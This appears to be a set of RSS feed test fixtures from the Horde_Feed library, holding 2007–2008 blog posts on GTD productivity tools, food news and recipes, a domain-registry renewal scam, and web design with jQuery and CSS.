      , , , , , , , , , , ]]>       http://www.marcuswhitney.com/2007/04/27/vote-for-trees/feed/ http://www.marcuswhitney.com/2007/04/27/vote-for-trees/       Strong Urge To Organize and Simplify part 2 http://feeds.feedburner.com/~r/MlogMarcusWhitneysLifeLog/~3/114012889/ http://www.marcuswhitney.com/2007/04/26/strong-urge-to-organize-and-simplify-part-2/#comments Thu, 26 Apr 2007 16:30:38 +0000 Marcus The Journey43FoldersAlex EzellDave DelaneyDavid AllenDayliteGTDInboxMerlin MannMidnight Beep http://www.marcuswhitney.com/2007/04/26/strong-urge-to-organize-and-simplify-part-2/ After my first post on trying to get more organized and have things simplified, I got some input from Dave Delaney, which was helpful. I did begin to use Gmail to sync my iCal and that did help my wife stay more in touch with what I was doing. However it didn’t help much with my own simplification. I am more and more interested in managing my life in project form, so things at work and home have a very similar process and I don’t lose traction switching gears. I started on a hunt for tools and after some searching came across DayLite by seeing MarketCircle on an email from Apple on WWDC.

      Daylite was pretty nice in terms of it’s approach to project management, however it seems to have ran out of gas on Sync Services integration. I don’t want to spend time exporting and importing between applications, that adds work and annoys the crap out of me. Plus, they kind of wanted you to use them as a replacement for iCal. Can’t do that. iCal is too slick.

      So, I went back on the hunt, originally to find a third party Daylite sync. In all that searching, and disappointment, I found a link to Merlin Mann’s website, 43 Folders. He was referring to a project called Kinkless GTD. That started a whole two hour interweb black hole where I learned about Kinkless GTD, bought OmniOutliner Pro just so I could install the free AppleScripts and then realized I had no idea what I was doing. What the hell was GTD? In fact, who the hell is this Merlin Mann guy who is talking so much about GTD. Many of you probably already know about David Allen and his “Getting Things Done” methodology. Pretty amazing stuff. (Sidenote: I didn’t realize my online friend Robert Peake worked for David Allen, or rather I didn’t know David Allen was quite as important until now)

      If you dont know anything about it, I would suggest starting with the Wikipedia entry and maybe spring for the book before digging too deep at 43Folders.com. The core methodology is promoted by many people with slight slants on it, especially concerning computers. The book is non tech, and really practical for anyone looking to get a better handle on their workload, goals and life in general.

      Anyway, long story short, I’ve tried three or four apps so far and I think I’m going with Midnight Beep’s Inbox. Hat tip to Alex for the heads up here. The thing is, Inbox doesn’t let me skip steps. It feels incredibly wrong to use this application without having done an initial collection of issues, data etc. That’s what I want. I want to grind through the initial phase, and breeze through the rest of my life once things are in a manageable state. At any rate, it’s forcing me to think about what actually goes in iCal as a todo now. Since I will be managing all projects in well defined actions, it will be a clusterfark to try and keep 100+ todos in iCal. So, iCal may start just storing my errands as todos. Seems more appropriate anyway.

      So, now I’m going to give GTD a shot for a month and I’ll let you know how it goes. Along with updates when I hit snags, which I’m sure I will.

      , , , , , , , , , , , , , , , , ]]>       http://www.marcuswhitney.com/2007/04/26/strong-urge-to-organize-and-simplify-part-2/feed/ http://www.marcuswhitney.com/2007/04/26/strong-urge-to-organize-and-simplify-part-2/       Gen TN: Inform, Interact, Inspire http://feeds.feedburner.com/~r/MlogMarcusWhitneysLifeLog/~3/114012890/ http://www.marcuswhitney.com/2007/04/25/gen-tn-inform-interact-inspire/#comments Thu, 26 Apr 2007 04:20:17 +0000 Marcus The JourneygentnTennessee http://www.marcuswhitney.com/2007/04/25/gen-tn-inform-interact-inspire/ The Generation Tennessee conference for 2007, IN3, is happening June 1st and 2nd at the Downtown Public Library.  The entire team at GenTN has worked very hard to bring together the Great State’s leaders in a forum where the future leaders of Tennessee can meet with them to discuss education, business, city planning and yes… politics.  If you know someone who would be a valuable contributor to this conversation, please nominate them at: http://gentn.org/nominate

      , , ]]>       http://www.marcuswhitney.com/2007/04/25/gen-tn-inform-interact-inspire/feed/ http://www.marcuswhitney.com/2007/04/25/gen-tn-inform-interact-inspire/       American Idol Is Awesome http://feeds.feedburner.com/~r/MlogMarcusWhitneysLifeLog/~3/114012891/ http://www.marcuswhitney.com/2007/04/25/american-idol-is-awesome/#comments Thu, 26 Apr 2007 04:10:32 +0000 Marcus The Journeyamerican idolcharityidol gives backiraqpoverty http://www.marcuswhitney.com/2007/04/25/american-idol-is-awesome/ And I don’t give a crap if you disagree. The Idol Gives Back special tonight was amazing. Sometimes the only thing I know to say is “God Bless Us All”. I’m not a religious person, but my upbringing (which was in the church) brings me to the feeling that there has to be something that links us all and makes us feel so deeply when we are presented with human suffering. Yes, some are more attuned to the constant need to give of themselves and help those less fortunate… but anytime that I can connect with that place of empathy, sympathy and unconditional love I consider myself blessed and driven to act. I can only hope that it happens more tomorrow than it did today.

      The state of malaria in Africa and the poverty right here in America is a greater tragedy than the War in Iraq… if we must compare. Honestly, I think it really doesn’t make a difference. The killing in Blacksburg and the lack of aid for children around the world is all the same. A call for us to give more of ourselves.
      The beauty of suffering is that it presents an opportunity to receive or give love.

      I gave $200 tonight. It’s not much, but I sure as hell feel better. And I hope that action can save a life.

      , , , , , , , , ]]>       http://www.marcuswhitney.com/2007/04/25/american-idol-is-awesome/feed/ http://www.marcuswhitney.com/2007/04/25/american-idol-is-awesome/       Have Mercy. http://feeds.feedburner.com/~r/MlogMarcusWhitneysLifeLog/~3/114012892/ http://www.marcuswhitney.com/2007/04/16/have-mercy/#comments Mon, 16 Apr 2007 16:41:12 +0000 Marcus The Journeymourningva tech http://www.marcuswhitney.com/2007/04/16/have-mercy/ I had a great weekend, including the birth of a new nephew on the same day as my son and mother.  But this VA Tech shit instantly depressed me.  My deepest sympathies go to the families.  I have a feeling we’ll be a nation in mourning for some time.

      , , ]]>       http://www.marcuswhitney.com/2007/04/16/have-mercy/feed/ http://www.marcuswhitney.com/2007/04/16/have-mercy/       Valleywag on Podcasters, Harsh. http://feeds.feedburner.com/~r/MlogMarcusWhitneysLifeLog/~3/114012893/ http://www.marcuswhitney.com/2007/04/13/valleywag-on-podcasters-harsh/#comments Fri, 13 Apr 2007 19:00:36 +0000 Marcus The Journeydiggnationimuspodcastingscoblevalleywag http://www.marcuswhitney.com/2007/04/13/valleywag-on-podcasters-harsh/ Wow. It’s a rag, given. But damn… pretty harsh words.

      I do think they are right to a degree. Until the technology dudes learn how to infuse entertainment, kinda like DiggNation, there is no chance for mainstream penetration.

      , , , , , , , , ]]>       http://www.marcuswhitney.com/2007/04/13/valleywag-on-podcasters-harsh/feed/ http://www.marcuswhitney.com/2007/04/13/valleywag-on-podcasters-harsh/       Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.megnut.com-index.xml0000664000175000017500000004617712653701626025534 0ustar janjan Megnut http://www.megnut.com/ Megnut.com is a site about food by Meg Hourihan. Based in NYC, Meg writes about restaurants she likes, recipes she's tried, and links to lots of food-related content online. Also, she writes essays. en Copyright 2007 Wed, 17 Oct 2007 13:00:42 -0500 http://www.sixapart.com/movabletype/?v=3.2 http://blogs.law.harvard.edu/tech/rss Cash behind new fish consumption recommendations meg@megnut.com (Meg Hourihan) Was the change in fish consumption recommendations influenced by cash? Until recently, experts recommended women of childbearing age eat no more than 12 ounces of fish a week, and no more than 6 ounces of canned albacore tuna, because of high levels of mercury. But recently a new recommendation was released encouraging the consumption of at least 12 ounces of fish a week, the logic being that omega-3 consumption was important and outweighed the possible mercury risks. Now the New York Times is reporting that money from the seafood industry may be behind the new recommendations. Guh, and I was just about to go back to eating the nice albacore tuna too.

      comments ]]>       http://www.megnut.com/2007/10/cash-behind-new-fish-consumption-recommendations http://www.megnut.com/2007/10/cash-behind-new-fish-consumption-recommendations Wed, 17 Oct 2007 13:00:42 -0500       The complex legacy of Julia Child meg@megnut.com (Meg Hourihan) Attention New York City-area readers, tomorrow night at the NYPL there's "a discussion of the complex legacy of Julia Child." Julia Child in America will feature culinary historians David Kamp, Molly O'Neill and Laura Shapiro, chef Dan Barber, and journalist and former Cullman Fellow Melanie Rehak as moderator.

      ]]>       http://www.megnut.com/2007/10/the-complex-legacy-of-julia-child http://www.megnut.com/2007/10/the-complex-legacy-of-julia-child Tue, 09 Oct 2007 16:53:41 -0500       Are they breakfast cupcakes? meg@megnut.com (Meg Hourihan) Normally I'm not one for muffins in the morning, but there's something about cranberry muffins (especially when they have a hint of orange and they don't have nuts) that I love. The other day I spied a package of them at Whole Foods on sale so I bought them. And each of the past few mornings have been delightful, until my husband said, "Muffins? Isn't that just like eating cake for breakfast?"

      Now in my heart I know that's not true, but it's hard to argue with him. Muffins do seem to be really sweet whenever you buy them at a coffee shop. I have a sense they've gotten sweeter over the years, going from a bread-like treat with fruit to a cupcake-like treat without frosting. I'm trying to remember what muffins were like when I was younger. Were they sweet? Sort of sweet? And now, are muffins really as bad as having cake for breakfast? Because I'm really craving a cranberry-orange muffin!

      comments ]]>       http://www.megnut.com/2007/10/are-they-breakfast-cupcakes http://www.megnut.com/2007/10/are-they-breakfast-cupcakes Thu, 04 Oct 2007 10:14:43 -0500       Cupcakes and birthdays and pies meg@megnut.com (Meg Hourihan) "Cupcakes have recently been marched to the front lines of the fat wars, banned from a growing number of classroom birthday parties because of their sugar, fat and 'empty calories,' a poster food of the child obesity crisis." And apparently folks aren't happy about the fact they can't send a bundle of cupcakes to school with their kids on their birthday. I actually think it's a good idea to prohibit birthday treats, but for different reasons. When I was little, my school didn't allow anyone to bring cakes or cupcakes or anything on a birthday. One, it was unfair to the children whose parents didn't have the finances or time (or both) to bake such treats. And two, the kids whose birthdays fell on weekends or over a holiday break were left out from hosting their own celebration. I appreciated that because my birthday was always over the Christmas break. Seems like that logic still holds, regardless of the fat content of cupcakes.

      Also in the same article, I was saddened to read "that in the modern age, the cupcake may be more American than apple pie — 'because nobody is baking apple pies,' Professor [Marion] Nestle [of New York University] explained." Damn these cupcakes, for ruining the West Village, for making kids fat, for disrupting school activities, and for making people forget about the glories of pie! If Ollie's allowed to bring sweets to school for his birthday, and happens to go to school in July, I will send him with a pie! I think I'll also bake one this weekend because the greenmarket is filled with apples, and there's nothing like a nice apple pie in the fall. Mmmmm...

      comments ]]>       http://www.megnut.com/2007/09/cupcakes-and-birthdays-and-pies http://www.megnut.com/2007/09/cupcakes-and-birthdays-and-pies Fri, 28 Sep 2007 13:45:16 -0500       Opening oysters by sound meg@megnut.com (Meg Hourihan) There's a great piece of information almost buried in the article about Spanish chef Ángel León in the October Gourmet (which is awesome, btw). Chef León isn't just a chef, but also a scientist/inventor (what chef isn't in Spain these days?) and while watching a documentary on Pompeii, he came up with a great invention:

      He remembers hearing...that when the volcano blew in A.D. 79, millions of shellfish in the coastal waters around Pompeii were forced open by shock waves from the explosion. This idea sent León back to the laboratory, where he came up with a device for opening oysters by means of low-frequency sound waves. The oysters are placed in a bain-marie six at a time, and at the touch of a button their shells loosen their iron grip. No more digging about with knives is required; no nasty bits of shell are left in your oyster.

      I tried to poke around a bit on Google for some information about this but didn't find anything. I'm curious about the effect of the sound waves on the shellfish. Are they killed by the waves, and in death they're opening their shells? Or are they still alive but opening their shells? Even if you use this method for shellfish shucking, you still need to detach the oyster from the shell for easy slurping. But I find this whole thing fascinating. I wonder if we'll see this method spread at all. It might be too expensive and slow. After all, the world's fastest shucker can open 33 oysters in a minute.

      comments ]]>       http://www.megnut.com/2007/09/opening-oysters-by-sound http://www.megnut.com/2007/09/opening-oysters-by-sound Thu, 27 Sep 2007 12:19:09 -0500       Some Alinea updates on Grant and his forthcoming cookbook meg@megnut.com (Meg Hourihan) A couple links I'm behind on, so you may have already heard the great news that chemo has reduced the tumor in Grant Achatz's tongue by 75% and he is set to begin radiation soon. You're still in our thoughts chef.

      And in other Alinea news, Grant and his crew will be releasing a cookbook in the fall of 2008. It will contain 600 recipes and a companion website. I can't wait for it. It's great to see a chef of Grant's caliber sharing his knowledge rather than hoarding it. (See my thoughts on keeping recipes free.)

      ]]>       http://www.megnut.com/2007/09/some-alinea-updates-on-grant-and-his-forthcoming-cookbook http://www.megnut.com/2007/09/some-alinea-updates-on-grant-and-his-forthcoming-cookbook Wed, 26 Sep 2007 15:13:52 -0500       Food Karma Alert is a great new blog about food issues meg@megnut.com (Meg Hourihan) There's a great new blog I just found out about called Food Karma Alert. The author, Cory, is a PhD food scientist/chemist and provides great links surrounding each issue he's posting about. His goal: "I'm going to attempt to briefly summarize the specific [food] issue at hand and provide references in order that we may be proactive and respond in whatever way is afforded us." I look forward to following this site and really like how easy he makes it for his readers to take action. [via Rebecca]

      comments ]]>       http://www.megnut.com/2007/09/food-karma-alert-is-a-great-new-blog-about-food-issues http://www.megnut.com/2007/09/food-karma-alert-is-a-great-new-blog-about-food-issues Tue, 25 Sep 2007 15:48:51 -0500       Dear Advertisers in Gourmet Magazine, meg@megnut.com (Meg Hourihan) Wow! As I flipped through the October 2007 Gourmet, I couldn't help but be struck by the great looks of your new products. As someone who's in the process of renovating her kitchen, I'm on the lookout for things to buy. And as you purchased advertising space in a magazine about food, I suspect you're interested in reaching me in the hopes I may buy your sinks and stoves and refrigerators. Alas, you have failed.

      ELKAY, your new Avado Collection looks great. But why no mention of it whatsoever on your website? You know, the one you offer the link to in your ad? And Kenmore, you announce an entirely new line of appliances called Kenmore PRO, but the URL you give me redirects to your front page. Only with some poking around can I even locate the PRO line, and when I do, it's a Flash mess that's all style and no substance. Do you even offer a 36" stove? Who knows?

      My little pile of ads that I so carefully tore out of Gourmet for research purposes is now headed to the recycling bin. I'm moving on to websites that actually provide information about the products I'm interested in.

      Stainless steely yours,
      -megnut

      comments ]]>       http://www.megnut.com/2007/09/a-letter-to-gourmets-advertisers http://www.megnut.com/2007/09/a-letter-to-gourmets-advertisers Tue, 25 Sep 2007 14:13:25 -0500       Massachusetts is the place for fried clams meg@megnut.com (Meg Hourihan) Since I missed so much stuff over the summer, you can expect some out-of-season links to appear over the next few weeks. Like this one: Maine may have lobsters, but if you’re looking for the quintessential fried clams, head straight to Massachusetts. I've been craving fried clams for ages and reading Peter Meehan's article about juicy Essex clams has sent me over the edge. Next time I visit Boston, I'm heading straight to Woodman's.

      comments ]]>       http://www.megnut.com/2007/09/massachusetts-is-the-place-for-fried-clams http://www.megnut.com/2007/09/massachusetts-is-the-place-for-fried-clams Tue, 25 Sep 2007 13:42:37 -0500       Fresh Direct helps you eat for two meg@megnut.com (Meg Hourihan) While shopping last night at Fresh Direct (an online grocer), I discovered they offer an Eating for Two section on their website. (Note: to see the list, enter the ZIP "10003" when asked for a ZIP code, then you'll be redirected to the proper page. Annoying, I know.)

      The section is great. It breaks down stuff to purchase by pregnancy dietary requirements, like folic acid and calcium, and then shows you sources of those requirements in various products. With a simple click, they're in your shopping cart. What a nice way to relieve some of the burden of pregnant eating. If only I'd noticed this when I was pregnant.

      ]]>       http://www.megnut.com/2007/09/fresh-direct-helps-you-eat-for-two http://www.megnut.com/2007/09/fresh-direct-helps-you-eat-for-two Tue, 25 Sep 2007 11:37:16 -0500       A working micro farm in NYC for summer 2009 meg@megnut.com (Meg Hourihan) I am stitching together a working micro farm, (total size yet to be determined) for one growing season, from parcels of donated land or growing spaces, located in assorted environments in each of the five boroughs around the city. Leah Gauthier looks to grow organic heirloom vegetables and herbs in New York City during the summer of 2009. Sounds like a neat project. [Thanks Jason.]

      ]]>       http://www.megnut.com/2007/09/a-working-micro-farm-in-nyc-for-summer-2009 http://www.megnut.com/2007/09/a-working-micro-farm-in-nyc-for-summer-2009 Mon, 24 Sep 2007 16:37:43 -0500       Jean-Georges has a blog meg@megnut.com (Meg Hourihan) Chef Jean-Georges Vongerichten has a blog. And while a chef having a blog to promote his new book isn't something I'd necessarily blog about, there's something really cool about seeing it on Blog*Spot. Even after all these years, it makes me proud.

      comments ]]>       http://www.megnut.com/2007/09/jeangeorges-has-a-blog http://www.megnut.com/2007/09/jeangeorges-has-a-blog Mon, 24 Sep 2007 11:04:18 -0500       You can't single out one part of the food system meg@megnut.com (Meg Hourihan) You can't single out one part [of the food system] and say something that's come from thousands of miles away is automatically less sustainable - it's much more complicated than that. The Financial Times looks at food miles and shows just how complicated the issue of sustainable food production really is.

      ]]>       http://www.megnut.com/2007/09/you-cant-single-out-one-part-of-the-food-system http://www.megnut.com/2007/09/you-cant-single-out-one-part-of-the-food-system Fri, 21 Sep 2007 10:59:06 -0500       A look at the first restaurant review in the Times meg@megnut.com (Meg Hourihan) Dine somewhere else to-day and somewhere else to-morrow. I wish you to dine everywhere, said the editor to the writer at the New York Times in 1859. And thus began the tradition at that paper that continues with Frank Bruni today. A fascinating look not only at the way people used to dine, but also how they used to write. I'm glad the New York Times finally opened up their archives.

      comments ]]>       http://www.megnut.com/2007/09/a-look-at-the-first-restaurant-review-in-the-times http://www.megnut.com/2007/09/a-look-at-the-first-restaurant-review-in-the-times Fri, 21 Sep 2007 10:08:50 -0500       Eating hyperlocal in NYC meg@megnut.com (Meg Hourihan) In New York Local: Eating the fruits of the five boroughs, New Yorker writer Adam Gopnik goes hyperlocal and lives to tell us about it:

      You go local in Berkeley, you’re gonna eat. I had been curious to see what might happen if you tried to squeeze food out of what looked mostly like bricks and steel girders and shoes in trees. I wanted to do it partly to see if it could be done (as an episode of what would be called on ESPN “X-treme Localism”), partly as a way of exploring the economics and aesthetics of localism more generally, and partly to see if perhaps the implicit anti-urban prejudices lurking in the localist movement could be leached away by some city-bred purposefulness. If you could eat that way here, you could do it anywhere.

      Each day I get less and less interested in localism, perhaps in direct correlation to its rise in popularity and its growing army of fanatics.

      comments ]]>       http://www.megnut.com/2007/09/eating-hyperlocal-in-nyc http://www.megnut.com/2007/09/eating-hyperlocal-in-nyc Fri, 14 Sep 2007 13:33:48 -0500       Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.mezzoblue.com-rss-index.xml0000664000175000017500000010766512653701626027056 0ustar janjan Dave Shea's mezzoblue http://mezzoblue.com/ en-us dave@shea.net Copyright 2008 2008-07-16T11:42:53-08:00 hourly 1 2000-01-01T12:00+00:00 Domain Registry Scam http://mezzoblue.com/archives/2008/07/16/domain_regis/ This morning's mail brought me a renewal notice from my domain registrar. Except, wait. 1425@http://mezzoblue.com/ I was about to Flickr this and leave it at that, but then I remembered oh yeah, I've got a web site.

      Domain Registry of Canada is a big old scam

      This morning's mail brought me a renewal notice from my domain registrar. The currently-dormant personal nameplate domain I've been sitting on is coming up for renewal at the end of the year, so they're really staying on top of it by sending me the renewal notice during the summer.

      Except, wait. Domain Registry of Canada? That doesn't seem right. This domain was registered with a US-based company. I don't have any business with Canadian registrars that I'm aware of.

      I've been hearing about this tactic for years, and received one or two of these in the past, so it didn't take long to conclude that, yes, this is a scam. Even though the notice is deceptively formatted to look like an invoice, the wording tells me exactly what's going on (emphasis mine):

      "When you switch today to the Domain Registry of Canada..."

      "...and now is the time to transfer and renew your name..."

      "Domain name holders are not obligated to renew their domain name with their current Registrar or with the Domain Registry of Canada. Review our prices and decide for yourself. You are under no obligation to pay the amounts stated below, unless you accept this offer."

      They've obviously spent time honing their text so this practice may not run afoul of the relevant consumer protection laws. The company has been at it for years in other countries with multiple legal proceedings in the past, so they've had the time to get it right. It may be that the notice I received is technically legal.

      But I still think they're scum, and this is a scam-like practice whether it's legal or not. They're obviously counting on people to focus on the invoice and ignore the text. (Web users skim, they don't read, right?) With an official-sounding name like "Domain Registry of Canada" it's easy to understand how their targets might not pause to consider that this company isn't in fact the one they originally registered with (do you actually consider your domain registrar more than once a year?). If someone web-savvy like myself has to seriously think about what's going on here, how many average small business owners or office administrators do they sucker annually?

      There may be legal recourse here, but I'm willing to bet that if they're still doing it after all these years, they've managed to figure out how to avoid prosecution. So there's not much to be done aside from wasting 50 cents on a stamp for their return envelope to return them a personal F U. Ineffective and useless to be sure, but if I can kill at least a fraction of a second of their anticipation of taking in another sucker while they open the envelope, to me that's good enough.

      ]]>       2008-07-16T11:42:53-08:00       Design Notes http://mezzoblue.com/archives/2008/06/10/design_notes/ Time to dive back in to the Bright Creative redesign I wrote about last week, and focus on some of the good stuff that came out of it. Most people got it; but for anyone who misinterpreted my laundry list... 1424@http://mezzoblue.com/ Time to dive back in to the Bright Creative redesign I wrote about last week, and focus on some of the good stuff that came out of it.

      Most people got it; but for anyone who misinterpreted my laundry list of rants from last time, that was just some healthy critiquing of my own work. It's a good idea to step back every now and then and judge what you do with a critical eye. The truth is I'm very pleased with the way this redesign came off. Here's why.

      jQuery

      I'd like to thank the star of our show, John Resig's fabulous jQuery library. No doubt you noticed the portfolio page effects, with sliding and zooming and fading and the like. Yep, that's Javascript. No Flash here. I've only been playing with jQuery for a few months now, but it's already one of those "how did I live without it?" tools.

      To me it's the difference between avoiding Javascript as much as possible, and embracing it whole-heartedly. jQuery abstracts away the hard stuff like DOM incompatibilities, leaving me free to write fairly basic script to accomplish what I need. And the CSS-like selector syntax is absolutely wonderful. I've already learned that so it's building on what I know. I'm still not convinced I'm much of a scripter, but writing with jQuery makes me feel like I'm actually somewhat in control when it comes to Javascript. And the joy of seeing my script work as expected first time 'round across the board when testing in various browsers? Undefinable.

      With this design I wanted to see what kind of useful user interaction effects I could pull off with some jQuery magic. I had a vague idea in mind to use sliding portfolio pages, echoing something I did with the previous design's thumbnails. But I also wanted to treat the slideable area as real content with enlarged previews and live text. I looked at a few canned scripts that seemed to do what I wanted, including some jQuery plugins like Coda Slider and various lightboxes, but ended up needing a bit more flexibility. So I rolled my own.

      There's nothing particularly new or clever about my implementation, but it came together nicely. I have a bunch of divs in the page source that are assigned the class item, and in my CSS file that class is treated as a non-scripted element by default. I'd hoped for graceful degradation when Javascript is disabled, and the default rendering without script is actually somewhat usable. It's not great, but it works.

      Then on page load, the script does a bit of work to change that default and get the page ready for interaction, things like adding new classes and then re-positioning the divs based on those classes. The resulting style of the elements updated by the script is still handled in the CSS file as a new set of classes, triggered by that scripted changing of the class. That's the ideal, but I did need to script some of the positions, so there are a few spots where hard-coded pixel values ended up in Javascript. I'm sure there's a way to make it more elegant, but that's as far as I got.

      The actual slide effect happens by giving each individual item in the portfolio a sequential position within a horizontal series of items, and then updating the left value of each based on which item the user is currently viewing. The current frame has a left value of 0, the next is 750, the one after that is 1500, and so on. Frames prior to current are negative values, ie. -750, -1500 and so on. And then by declaring overflow: hidden on the parent frame I'm hiding the inactive items and only showing the active item so you never see more than one at a time. This allow lets me slide things in and out of the frame without more tedious clipping calculations, something I'd far rather let the browser handle.

      That was the quick easy way to do it, but it also led to the expandability problem I wrote about in the previous post; I can't use overflow: auto in the portfolio area to allow for a scrollbar when the user resizes the text, because the divs intended to be hidden by the overflow end up forcing scrollbars and making a mess of the page. The unscripted version allows this, but the scripted version doesn't. Oh, sweet irony.

      The larger previews triggered on click are also added with script; in an unscripted state these are simple links to images that open in the same window, a fairly clumsy way of doing it, but at least the unscripted state is functional. Again by manipulating the classes in script, I change those links into positioned target areas that have an onclick event which pulls in the target image of the link as the contents of the pop-up area. There's a nice jQuery fade effect too, though the first image load usually takes longer than the fade so the effect looks more like a vertical slide-down than a fade. But once that baby is cached after that first click, watch out. Fades for everyone.

      Something a little more subtle than the portfolio effects is the logo and primary nav hover glowing animation. This is a trick I demoed at An Event Apart last month, and I'm about 2/3rds of the way through formally writing it up. I'm using jQuery to take your basic CSS Sprites setup and add animation effects to produce a smoother transition between off and on states. It's a tiny bit more involved than that, as you'll see if you dig into the source. But keep your eyes peeled for the article, there will likely be a pre-built function that abstracts anything remotely difficult about it. Oh, and yes, it gracefully degrades to plain old CSS Sprites.

      Copywriting

      Updating the copy was a big reason for redesigning the site. The previous version was built at a time when I didn't have a clear idea of what the business would be in one, two, or five years. Since that time I've figured out what it is I want to do and how I do it, but the site didn't reflect that. I'd been handing out an intro PDF to new clients for a while to fill that gap, but it's the sort of information that really needed to be directly on the site.

      I ended up scrapping almost everything that existed before, and changing the voice from an impersonal royal "we" to a much more direct "I". This didn't come easily; it was hard to adjust to talking about myself in the informal first person on an ostensibly professional site. But I often get email starting out with "I'm looking to contact Dave Shea", or "do you guys offer such and such a service?", so I realized it was time to kill the ambiguity.

      There were two items I felt a bit conflicted about putting out there. In my previously private PDF I had included details about pricing and process that would be helpful for prospective clients, but it's the kind of information that people in our industry don't generally publish on public-facing sites. I have some theories why this is, and they're not all to do with competition, but the result is the same in any case. I decided to go ahead anyway, a decision which I don't know will prove to be a good or bad idea long term; we'll know for sure if it ends up going away one day.

      Design

      The visual design was actually one of the least important things I needed to accomplish this time around. When I began planning this redesign, I tackled the scripting and copywriting first, and only opened Photoshop after I had a pretty clear idea of what the content was going to be. You know, the same sort of expectations you'd have of a client; I believe the phrase we're looking for here is "eating your own dog food".

      Somehow I ended up building a colour scheme derived from primaries, though the red, yellow and blue are not exactly full saturation, and the brown of the content area serves as more of a neutral in this case. Previously I'd been using brighter shades of red and yellow, so there's some consistency with the past, but the blue was a new addition this time for the sake of more interesting colour contrast. The overall tone is a lot darker than last time, but that feels like a good change.

      This visual design isn't a huge departure either; the previous one had a bit of a gritty, non-pristine feel to it that I wanted to continue using. I went for broke on the texture and detail work, but that ended up causing some fun layering challenges. After the Photoshop work was done, I spent some time looking at the design wondering how in the world I'd build it out into something that would work in a browser. In the last post I mentioned that transparent PNGs would have spared me some headaches, but I don't feel like I can yet thanks to IE6. So I went with GIF images instead, which caused a lot of tedious matching of foreground and background images. Saving a transparent GIF to sit on top of a solid colour is easy; saving one with texture that must precisely align with a second background texture while fading out into transparent areas is... not so much.

      For example, the portfolio's white stage area sits on top of the page's background texture. Its drop shadow and frilly decorative bits have varying levels of opacity, something GIF obviously can't do. To simulate this I had to save the background texture into the image itself, which forced precise alignment of the foreground and background images. I could have gotten away with simply flattening my Photoshop file and saving out the background with the image as a big non-transparent rectangle, but that would have made the site's already-large image profile even larger. So I dropped what background I could by first hiding the background in Photoshop and saving a preliminary transparent 1-bit GIF to basically create an outline of the foreground area, then loading that GIF back into Photoshop and using it to create a mask for the background, then saving the combined foreground + background combo out together into the final GIF. It looks like this.

      There are also some extra little details I added to try and elevate the HTML-based text to something a bit more interesting. I applied text-shadow to the various headers and links for Safari's benefit. Primary h2s on the site have a very faint PNG absolutely positioned over top that fades in the background texture a little, resulting in a semi-transparent almost gradient-like look. Getting the PNG gamma to display consistently was a challenge; my first attempt worked well in Safari, while the overlay was too obvious in other browsers. So I had to tinker with various colour output settings and finally got something that seems like a good enough compromise. The PNG is still somewhat visible in all browsers, but faint enough that I can live with it. (and I did a lot of Googling for workarounds; what you're thinking of suggesting? I tried it.)

      Contact Form

      Finally, one of my favourite bits from the site, the contact form's Stress-o-meter. This was a fun little idea I had in mind from the beginning, but it was the last thing I built because I wasn't quite sure how to make it go. Design-wise, there are three levels: Low, Medium, and High. The higher it gets, the more distressed the meter looks.

      Luckily it ended up being easier to build than I expected. There's a simple text file sitting on the server with a date in it. Every time the contact form is viewed, I have a PHP script that opens that file and reads the date. If today's date is within a certain number of days from the previous date it will display Low, and if it's above that range it shows Medium. There's a second range it checks that will show High. I'm still working on precise values, right now Medium is 5 days and High is 10.

      That's it for the viewing part, the updating part was pretty basic too. I've created a cron job on the server to run a second script every couple of days. That script sends me an email asking me whether I want to update the meter, which is just a link to a third script that replaces the contents of the text file with today's date. If I don't hit the link, nothing changes, and the previous range checking script will compensate. That's it. Simple. I'm still wondering if various spiders are going to find the update script or not, but a permanent Low status on the meter would be the only real side effect so I'm not terribly worried.

      ]]>       2008-06-10T13:23:09-08:00       Design Rants http://mezzoblue.com/archives/2008/06/03/design_rants/ Last night I launched a long-needed redesign of my business site, Bright Creative. The site had been languishing for years, but fact is, it is a business and I do keep my contract work at arm's length from what goes... 1423@http://mezzoblue.com/ Last night I launched a long-needed redesign of my business site, Bright Creative. The site had been languishing for years, but fact is, it is a business and I do keep my contract work at arm's length from what goes on over on this here site, so I decided to keep it rolling along instead of folding it all into one.

      Of course then I got ambitious, so it's been in the works for months while I've tweaked. Designing for yourself is never easy, is it? I feel like I could spend the better part of a month continually tweaking and making improvements, but I finally hit the point where it was "done enough" to launch.

      While this is design work I'm quite pleased with, I still see things I think could have been done better. It might be more interesting to write up my notes on those first, so I'm going to do this in two parts: first the rants below, then I'll follow up with another post on the parts I'm happy with.

      Typography

      I had this grand goal of keeping all my text in HTML and avoiding image-bound text or sIFR entirely, while avoiding looking like HTML text if I could help it. I looked for effects and typefaces that might accomplish that, and landed on Microsoft's ClearType set. The headers were going to all be Candara, and the body text all Calibri, and that looked pretty nice in Photoshop.

      But oh, the pain when trying to get a browser to duplicate it. Firefox OS X does not render Calibri well at all. Seriously, what is this? The kerning is all over the place, and look at that crazy overlapping of the link on the right; there's no fancy letter-spacing happening in my CSS that could explain that, it's just what 13px Calibri does in Firefox.

      So I found a CSS hack that would allow me to keep the Calibri in Safari, and step down to Lucida in Firefox... except that the x-height of Lucida is quite a bit larger, so the type size contrast in the two versions was not equal. Since those without the most recent versions of Office or Windows don't have Candara/Calibri anyway, my fallbacks weren't going to work well either.

      I ended up scrapping Calibri and running with Lucida for the body text. The headers are still Candara, or Georgia if it's not installed; I did save some Candara into an image for the top navigation despite it all, but the headers throughout are styled HTML text (more on that in the follow-up).

      And after all this ordeal it felt like the finely-grained type control I had carefully planned got away from me; I have three different type sizes for body copy in various spots, when I only intended to have one or two at most. It's all still functional, and looks okay at a glance, but I still see areas where it should be a lot tighter.

      Readability

      I put up a link on Twitter last night, and one of the most frequent pieces of feedback I've had since was that text contrast was too low, the brown-on-brown is hard to read. Yep, guilty.

      Embarrassingly enough, I spent most of my design time on the portfolio and home pages, neither of which have excessive text on the brown textured background. And then when I started working on content pages like Services, I realized there was a problem.

      Since then I've gone back in and smoothed out the background behind the main text area on content pages, so there's less distracting texture. It still suffers from a text contrast issue, but short of brightening up the entire background texture, that's probably as far as I'll go.

      One thing further compounding the matter is the anti-aliasing method used to render the text. With sub-pixel rendering everything appeared a bit darker and thicker, and that really helped the contrast. However, the fades and animation effects I've used in parts of the site caused flickering between sub-pixel and regular anti-aliasing, a known issue where the best fix is to manually force regular non sub-pixel anti-aliasing by setting the opacity of the parent element to 0.9999. As soon as I kicked this in, the readability took a big hit.

